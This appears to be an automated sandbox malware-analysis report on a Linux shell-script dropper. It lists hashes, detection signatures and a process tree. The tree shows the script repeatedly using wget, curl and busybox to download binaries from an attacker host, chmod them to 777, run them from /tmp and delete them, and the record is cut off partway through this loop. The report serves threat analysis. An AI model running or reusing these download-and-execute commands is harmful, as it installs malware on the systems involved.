aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee

Analysis

max time kernel
80s
max time network
83s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/11/2024, 02:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee.sh
Size 10KB
Sample241112-dagadaskgt
SHA256 aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee
MD5 825433197e199652541c6c8536e0fb74
SHA1 235f8a967317a01097435b6ffe89396a6b3ac3ca
SHA512 8edd37f31eb1e0d7c76224150b9eb5b0fcfc83969736414a8b1f9ee583911d5ce620c10c4551b23f21e3ec9530262ff6c4e2b614057543aab484b644c2bc0b5d
SSDEEP 192:nRoKye9QYDqOsLzghJNwjrULzghJNw/QYDqOl:nGKye9QYDqOsLz0JNwjYLz0JNw/QYDq4
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
978	chmod
999	chmod
826	chmod
936	chmod
943	chmod
915	chmod
1006	chmod
745	chmod
819	chmod
894	chmod
908	chmod
922	chmod
929	chmod
770	chmod
807	chmod
873	chmod
880	chmod
971	chmod
753	chmod
856	chmod
992	chmod
957	chmod
950	chmod
1013	chmod
985	chmod
887	chmod
901	chmod
964	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
798	busybox
932	wget
982	curl
752	busybox
884	curl
905	curl
721	wget
862	wget
907	busybox
911	wget
960	wget
735	curl
818	busybox
877	curl
898	curl
925	wget
942	busybox
949	busybox
984	busybox
766	busybox
893	busybox
954	curl
1002	wget
788	curl
829	wget
851	busybox
879	busybox
947	curl
816	curl
886	busybox
912	curl
926	curl
757	curl
823	curl
897	wget
939	wget
953	wget
988	wget
825	busybox
900	busybox
918	wget
940	curl
981	wget
1009	wget
750	curl
872	busybox
876	wget
919	curl
1005	busybox
749	wget
883	wget
928	busybox
935	busybox
946	wget
989	curl
991	busybox
1003	curl
813	wget
822	wget
914	busybox
933	curl
967	wget
974	wget
996	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb	curl
File opened for modification	/tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4	curl
File opened for modification	/tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs	curl
File opened for modification	/tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG	curl
File opened for modification	/tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG	curl
File opened for modification	/tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA	curl
File opened for modification	/tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT	curl
File opened for modification	/tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO	curl
File opened for modification	/tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp	curl
File opened for modification	/tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4	curl
File opened for modification	/tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG	curl
File opened for modification	/tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp	curl
File opened for modification	/tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb	curl
File opened for modification	/tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS	curl
File opened for modification	/tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4	curl
File opened for modification	/tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs	curl
File opened for modification	/tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS	curl
File opened for modification	/tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT	curl
File opened for modification	/tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw	curl
File opened for modification	/tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG	curl
File opened for modification	/tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x	curl
File opened for modification	/tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO	curl
File opened for modification	/tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x	curl
File opened for modification	/tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4	curl
File opened for modification	/tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA	curl
File opened for modification	/tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO	curl
File opened for modification	/tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO	curl
File opened for modification	/tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw	curl

/tmp/aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee.sh
/tmp/aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:719
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - System Network Configuration Discovery
  PID:721
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:743
- /bin/chmod
  chmod 777 jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  ./jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - System Network Configuration Discovery
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  ./M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:755
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - System Network Configuration Discovery
  PID:766
- /bin/chmod
  chmod 777 p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  ./p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  PID:774
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - System Network Configuration Discovery
  PID:798
- /bin/chmod
  chmod 777 V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  ./V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - System Network Configuration Discovery
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - System Network Configuration Discovery
  PID:818
- /bin/chmod
  chmod 777 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  ./6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:821
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:822
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:825
- /bin/chmod
  chmod 777 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  ./3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  PID:828
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:829
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  ./fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:872
- /bin/chmod
  chmod 777 bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  ./bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  PID:875
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - System Network Configuration Discovery
  PID:876
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/chmod
  chmod 777 TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  ./TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - System Network Configuration Discovery
  PID:886
- /bin/chmod
  chmod 777 R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  ./R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  ./oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  ./ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  PID:903
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/chmod
  chmod 777 hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  ./hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  PID:910
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:911
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/chmod
  chmod 777 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  ./0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:921
- /bin/chmod
  chmod 777 M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  ./M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:924
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - System Network Configuration Discovery
  PID:925
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/chmod
  chmod 777 p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  ./p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  PID:931
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:932
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:935
- /bin/chmod
  chmod 777 fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  ./fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:942
- /bin/chmod
  chmod 777 bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  ./bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - System Network Configuration Discovery
  PID:949
- /bin/chmod
  chmod 777 TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  ./TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  PID:952
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  PID:956
- /bin/chmod
  chmod 777 V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  ./V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:963
- /bin/chmod
  chmod 777 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  ./6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  PID:970
- /bin/chmod
  chmod 777 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
